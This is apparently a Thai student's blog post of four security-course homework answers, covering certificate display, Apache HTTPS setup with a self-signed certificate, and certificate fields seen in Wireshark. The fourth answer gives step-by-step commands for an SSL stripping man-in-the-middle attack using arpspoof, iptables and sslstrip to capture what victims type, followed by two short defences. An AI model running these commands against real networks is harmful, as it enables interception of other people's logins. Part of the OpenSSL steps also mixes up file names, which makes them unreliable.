วันพุธที่ 29 สิงหาคม พ.ศ. 2555

HOMEWORK 1-4 CS449

Homework 1

ที่เว็ป broswer แสดงผลไม่เหมือนกันเนื่องจาก เว็บ browser บางอันแสดงเฉพาะ public key เท่านั้นในขณะที่อันอื่นแสดง parameter และ Exponent bit ด้วย
  • วิธีการที่ทำให้สามารถดู public key ที่เหมือนกันทำได้โดยการ export ไฟล์ certificate ออกมาก่อน แล้วอาจจะใช้ โปรแกรมอ่าน ไฟล์ certificate เดียวกันก็จะเห็น public key ที่เหมือนกัน

ภาพแสดง public key captured from different browsers

click to see the source file

Homework 2: HTTPS installation and Certificate creation

URL วีดีโอแสดงการอธิบายประกอบ Link:http://youtu.be/kVStS55va9c
link สำรอง
  1. ติดตั้ง HTTP server บน ระบบปฎิบัติการ ในที่นี้ใช้ apache2 (ในตัวอย่างที่แสดงในวิดีโอ OS ได้ลง HTTP server เรียบร้อยแล้ว จึงไม่ได้แสดงการออกคำสั่ง) โดยใช้คำสั่ง

    sudo apt-get install apache2

  2. ติดตั้ง Open SSL (ในตัวอย่างที่แสดงในวิดีโอ OS ได้ลง OPENSSL เรียบร้อยแล้ว จึงไม่ได้แสดงการออกคำสั่ง)

    sudo apt-get install openssl

  3. Enable the mod_ssl โดยใช้คำสั่ง

    sudo a2enmod ssl

    Note: The mod_ssl module adds an important feature to the Apache2 server - the ability to encrypt communications. Thus, when your browser is communicating using SSL, the https:// prefix is used at the beginning of the Uniform Resource Locator (URL) in the browser navigation bar.

  4. Generate a Certificate
    • สร้าง Keys โดยใช้คำสั่ง

      openssl genrsa -out server.key 1024

      (The output file will be used to create CSR)

    • Create the CSR (Certificate Signing Request)

      openssl req -new -key server.key -out server.crt

      (ในขั้นนี้ file ที่เป็นผลลัพธ์ จะใช้ในการสร้าง self-signed certificate)

  5. Create a Self-Signed Certificate โดยใช้คำสั่งต่อไปนี้

    openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

    (ผลลัพธ์ของออกคำสั่งนี้คือไฟล์ server.crt ซึ่งเราจะใช้ CA นี้ในการ ติดตั้ง https ให้กับ http server ต่อไป)

Homework 3: SSL session with certificate

ข้อมูลใน Certificate ที่ใช้ Wireshark ดักดูตอนที่ Web server ส่งมาให้ Web browser ควรจะต้องตรงกันกับ Certificate ที่ Web browser แสดง ตามที่อธิบายใน วิดีโอ

URL วิดีโอประกอบการอธิบายhttp://youtu.be/34GtW_vEDXE

    รายละเอียดของ Certificate

  1. Version: The X.509 version number คือ เลขที่ใช้แสดง version ของ certificate (ในวิดีโอเป็น Version 3)
  2. Serial Number คือ เลขลำดับของ certificate ที่จะไม่ซ้ำกันเลย(Unique) ซึ่ง CA จะเป็นผู้ที่ Assign ใช้
  3. Signature Algoritm: เป็น hash algorithm ที่ CA ทำ digital sign ให้กับ Certificate
  4. Issuer: เป็นรายละเอียดเกี่ยวกับ CA ที่ออกใบ Certificate ให้
  5. Validity from: เป็นรายละเอียดเกี่ยวกับช่วงเวลาที่ certificate นี้ valid
  6. Subject: ข้อมูลเกี่ยวกับ ผู้ร้องขอใช้ certificate (ในวิดีโอคือ hotmail.com)
  7. public key info: ข้อมูลรายละเอียดเกี่ยวกับ public key ของ certificate นี้ เช่น ตัวคีย์ หรือ ค่าพารามิเตอร์ เกี่ยวกับ Algorithm ต่างๆที่ใช้

Homework 4: SSL Strip

URL วิดีโออธิบายประกอบ Link: http://youtu.be/f57urqx4KxI

    ขั้นตอนการออกคำสั่ง

  • เปลี่ยนให้เครื่องของ Hacker เป็น forwarding mode เพื่อให้ Packet ใดก็ตามที่เข้ามาที่เครื่อง Hacker Forward ไปที่ Gateway จุดประสงค์นี้ทำเพื่อให้ เหยื่อ(victtim) ยังสามารถใช้งาน the Internet ได้อย่างปกติ โดยใช้คำสั่ง

    echo 1 > /proc/sys/net/ipv4/ip_forward


  • ตั้งค่า iptables เพื่อให้ redirect HTTP ไปยัง port ที่ sslstrip ทำงานอยู่ โดยใช้คำสั่ง

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>

  • Run สคริป sslStrip โดย ผลลัพธ์ที่เหยื่อกรอกจะถูกเก็บไว้ในไฟล์ result โดยใช้คำสั่ง

    python sslstrip.py -l -w result

  • Run arpspoof เพื่อทำให้ ส่งข้อมูลมาที่เครื่องเราก่อนที่จะส่งไปยัง Default gateway หลักการทำงานคือ จะไปเปลี่ยนค่า MAC address ของ gateway ให้เป็น MAC address ของเครื่อง Hacker แทน

    arpspoof -i <interface> -t < targetIP> <gatewayIP>

วิธีการป้องกัน

  • ตรวจสอบว่า web-site ที่กำลังเข้าอยู่นั้นมีการเข้ารหัส ด้วย certificate ที่ถูกต้องหรือเปล่า
  • ใช้ network ที่เป็นส่วนตัว เช่นที่ บ้าน เป็นต้น